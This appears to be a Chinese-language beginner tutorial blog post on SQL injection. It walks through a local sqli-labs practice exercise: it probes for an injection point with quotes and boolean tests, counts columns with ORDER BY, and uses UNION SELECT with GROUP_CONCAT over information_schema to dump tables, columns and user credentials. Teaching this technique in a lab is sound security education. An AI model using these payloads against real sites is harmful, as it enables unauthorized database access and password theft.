淺談SQL注入(入門版)

淺談SQL注入

(篇幅較長,包含對SQL注入的分析)

目錄

一、SQL注入的原理

解釋型語言:程序不需要編譯,程序在運行時才翻譯成機器語言,每執行一次都要翻譯一次。因此效率比較低。比如Basic語言,專門有一個解釋器能夠直接執行Basic程序,每個語句都是執行的時候才翻譯。(在運行程序的時候才翻譯,專門有一個解釋器去進行翻譯,每個語句都是執行的時候才翻譯。效率比較低,依賴解釋器,跨平臺性好。) [1]
——引自《百度百科

這也就意味着解釋型語言是在執行時執行一句翻譯一句。如果這時用戶有交互性輸入,那麼這個輸入將同樣被放進代碼裏進行翻譯。

有SQL語言基礎的同學都應該見過,

select * from student where name = "張三"

這種類型的查詢語句吧。如果我們把 張三 換成一個變量 $ name 並且讓這個變量在運行時由用戶進行賦值,結果會發生什麼呢?答案就是 $ name 會被替換成用戶的輸入值。

於是我們神奇的黑客 (注:黑客一詞最初曾指熱心於計算機技術、水平高超的電腦高手,尤其是程序設計人員,而非現在所說的腳本小子和駭客們)大神們想出了一個點子:如果我輸入的不是一個常量而是一段SQL命令呢?

SQL注入攻擊是通過操作輸入來修改SQL語句,用以達到執行代碼對WEB服務器進行攻擊的方法。簡單的說就是在post/getweb表單、輸入域名或頁面請求的查詢字符串中插入SQL命令,最終使web服務器執行惡意命令的過程。

二、SQL注入的探測語句

1、注入點的探測原理

根據原理我們可以分析得到,要想實現注入操作,其注入點首先要滿足以下條件:存在動態網頁與數據庫之間的交互。通常只要帶有輸入提交的動態網頁,並且動態網頁訪問數據庫,就可能存在SQL注入漏洞。

2、注入點探測方式(以下以sqli爲例)

常見的探測方式有以下幾種:
(1)單引號判斷

  • http://127.0.0.1/sqli/Less-1/?id=1’ 在這裏插入圖片描述

(2)and判斷

  • http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+
    單引號判斷1
  • http://127.0.0.1/sqli/Less-1/?id=1’ and 1=2 --+
    單引號判斷2

(3)or判斷
(4)xor判斷
(5)加減號數字判斷
(6)輸入框判斷

3、注入探測方式分析

以單引號探測方式爲例,將單引號填入ID後得到如下報錯語句:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
(您的SQL語法有誤;檢查與您的MySQL服務器版本相對應的手冊以獲取正確的語法,以在第1行的“ 1” LIMIT 0,1’附近使用。)(——翻譯軟件)

(注:1、其中LIMIT可用作分頁,例:

select * from 表名 limit 05

表示下標從0開始是第一個,每5條記錄爲一頁。
2、–+ 表示 --和空格的組合,-- 在SQL語句中起註釋作用,可將其後語句進行註釋。)

由於是對查詢語句的引用,故最外層單引號表示引用,整理後的報錯內容爲

'1'' LIMIT 0,1

我們可以看到多出了一個單引號,而這個多出的單引號正是我們填入的單引號。也許有人問了,這有什麼用,跟注入有什麼關係?彆着急,往兩邊看看。如果我們把我們填入的單引號去掉,那麼語句就成了

'1' LIMIT 0,1

哇哦,這就是你的查詢語句麼?抱歉,我收下了。
根據SQL學習的經驗(沒學的趕緊去研究研究啦),我們可以反推出查詢語句形式爲

SELECT 字段名 FROM 表名 WHERE id='$id' LIMIT 0,1

也就是說我們探測的目的就是:找出原查詢語句的語句形式

(附:sqli原查詢語句代碼

SELECT * FROM users WHERE id='$id' LIMIT 0,1



三、SQL注入的進一步注入

當我們分析出SQL語句的查詢語句形式時,我們就可以利用其特性進行進一步的注入操作。

1、ORDER BY 探測

ORDER BY 語句用於根據指定的列對結果集進行排序。

  • http://127.0.0.1/sqli/Less-1/?id=1’ order by 3 --+
    Order By 3
  • http://127.0.0.1/sqli/Less-1/?id=1’ order by 4 --+
    Order By 4

Order By 後所加數組表示查詢列的列號(從1開始),有結果可知,第四列不存在,那麼我們假設這個表一共只有三列。

2、UNION 探測

UNION 操作符用於合併兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的每個 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每個 SELECT 語句中的列的順序必須相同。

  • http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,2,3 --+
    UNION SELECT 1,2,3

首先我們選擇一個沒有內容的ID頁,便於顯示數據,接着利用union語句將這個空頁的空數據和我們需要查詢的數據進行合併,由上述特性可知,我們必須構造一個與原表擁有相同列數的表。
由此選擇構造語句爲 select 1,2,3 由回顯可知第2,3列數據會被顯示出來。
(附:select * from studentselect 1,2,3 from student在這裏插入圖片描述

3、利用GROUP_CONCAT探測

Group_concat 主要將屬於同一類的元素歸類,通常以group by爲分類依據,若group by不存在,則所有數據歸爲一行。
在這裏插入圖片描述在這裏插入圖片描述
利用這種特性進行語句構造。

  • http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
    在這裏插入圖片描述
  • http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
    在這裏插入圖片描述
  • http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
    在這裏插入圖片描述

至此,我們得到登錄表中所有數據。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章